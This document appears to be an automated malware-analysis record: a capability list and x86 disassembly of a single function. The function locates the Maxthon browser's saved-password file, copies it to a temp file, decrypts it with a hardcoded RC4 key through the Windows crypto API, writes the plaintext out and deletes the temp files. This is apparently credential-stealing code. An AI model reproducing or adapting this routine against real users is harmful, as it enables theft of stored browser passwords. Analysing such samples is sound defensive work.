Function at 0x441a77
Capabilities:
Copy file
Delete file
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Get common file path
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2780
call fcn.00612c90
mov eax, dword [0x6ffe74]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0xa
mov dword [ebp - 0x2780], ecx
lea edi, [ebp - 0x13b4]
pop ecx
mov esi, str.Maxthon5UsersguestMagicFillmxpwd.dat
mov ebx, dword [ebp + 8]
rep movsd dword es:[edi], dword [esi]
push 0x3be
lea eax, [ebp - 0x138a]
movsw word es:[edi], word [esi]
xor esi, esi
push esi
push eax
call fcn.006390b0
add esp, 0xc
push ebx
call fcn.00643470
cmp eax, 1
lea eax, [ebp - 0x414]
pop ecx
jbe 0x441ae4
push ebx
mov esi, 0x3e8
push esi
push eax
call fcn.006494f3
jmp 0x441b11
push eax
push esi
push esi
push 0x1a
push esi
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
js 0x441de3
lea eax, [ebp - 0x13b4]
mov esi, 0x3e8
push eax
lea eax, [ebp - 0x414]
push esi
push eax
call fcn.006500a8
add esp, 0xc
lea ecx, [ebp - 0x414]
call fcn.00405670
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x441de1
mov edi, dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [ebp - 0x7fc]
push eax
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7fc]
push edx
push eax
push str._smx_st_tmp__d
lea eax, [ebp - 0xbe4]
push esi
push eax
call fcn.00402e0a
add esp, 0x14
lea eax, [ebp - 0xbe4]
push 0
push eax
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x441b8c
call ebx
lea eax, [ebp - 0x414]
jmp 0x441b92
lea eax, [ebp - 0xbe4]
and dword [ebp - 0x276c], 0
push 0x6c5e0c
push eax
lea eax, [ebp - 0x276c]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x276c], 0
je 0x441de3
test eax, eax
jne 0x441de3
lea eax, [ebp - 0x7fc]
push eax
push esi
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount64]
cdq
mov ecx, 0x186a0
idiv ecx
lea eax, [ebp - 0x7fc]
push edx
push eax
push str._smx_out_tmp__d
lea eax, [ebp - 0xfcc]
push esi
push eax
call fcn.00402e0a
and dword [ebp - 0x2770], 0
lea eax, [ebp - 0xfcc]
add esp, 0x14
push 0x6ca97c
push eax
lea eax, [ebp - 0x2770]
push eax
call fcn.00649a00
add esp, 0xc
cmp dword [ebp - 0x2770], 0
je 0x441de3
test eax, eax
jne 0x441de3
mov dword [ebp - 0x20], eax
lea edi, [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], 0xa5e304aa
mov dword [ebp - 0x24], 6
stosd dword es:[edi], eax
push 0x10
mov dword [ebp - 0x2768], 0x208
mov dword [ebp - 0x2764], 0x6801
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
pop eax
push eax
mov dword [ebp - 0x2760], eax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x275c]
push eax
call fcn.00638b30
add esp, 0xc
lea eax, [ebp - 0x277c]
xor esi, esi
push 0xf0000000
push 1
push esi
push esi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x441de1
lea eax, [ebp - 0x2778]
push eax
push esi
push esi
push 0x2c
lea eax, [ebp - 0x2768]
push eax
push dword [ebp - 0x277c]
call dword [sym.imp.ADVAPI32.dll_CryptImportKey]
test eax, eax
je 0x441de1
push dword [ebp - 0x276c]
xor edi, edi
lea eax, [ebp - 0x273c]
push 0x400
inc edi
push edi
push eax
call fcn.00651b3e
add esp, 0x10
jmp 0x441dd4
mov dword [ebp - 0x2774], eax
lea eax, [ebp - 0x2774]
push eax
lea eax, [ebp - 0x273c]
push eax
push esi
push 1
push esi
push dword [ebp - 0x2778]
call dword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
jne 0x441d9d
call ebx
cmp eax, 0x80090005
jne 0x441d24
mov eax, dword [ebp - 0x2774]
cmp eax, 1
jae 0x441da3
mov edi, esi
push dword [ebp - 0x276c]
call fcn.00649273
pop ecx
push dword [ebp - 0x2770]
call fcn.00649273
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0xbe4]
pop ecx
push eax
call esi
cmp dword [ebp - 0x2778], 0
je 0x441d62
push dword [ebp - 0x2778]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
cmp dword [ebp - 0x277c], 0
je 0x441d79
push 0
push dword [ebp - 0x277c]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
test edi, edi
je 0x441de3
lea ecx, [ebp - 0xfcc]
push ecx
mov ecx, dword [ebp - 0x2780]
call fcn.0044190a
lea ecx, [ebp - 0xfcc]
push ecx
call esi
xor eax, eax
inc eax
jmp 0x441de5
mov eax, dword [ebp - 0x2774]
push dword [ebp - 0x2770]
push eax
lea eax, [ebp - 0x273c]
push 1
push eax
call fcn.00649812
push dword [ebp - 0x276c]
lea eax, [ebp - 0x273c]
push 0x400
push 1
push eax
call fcn.00651b3e
add esp, 0x20
test eax, eax
jne 0x441ce4
jmp 0x441d26
call ebx
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.006122f0
leave
ret 4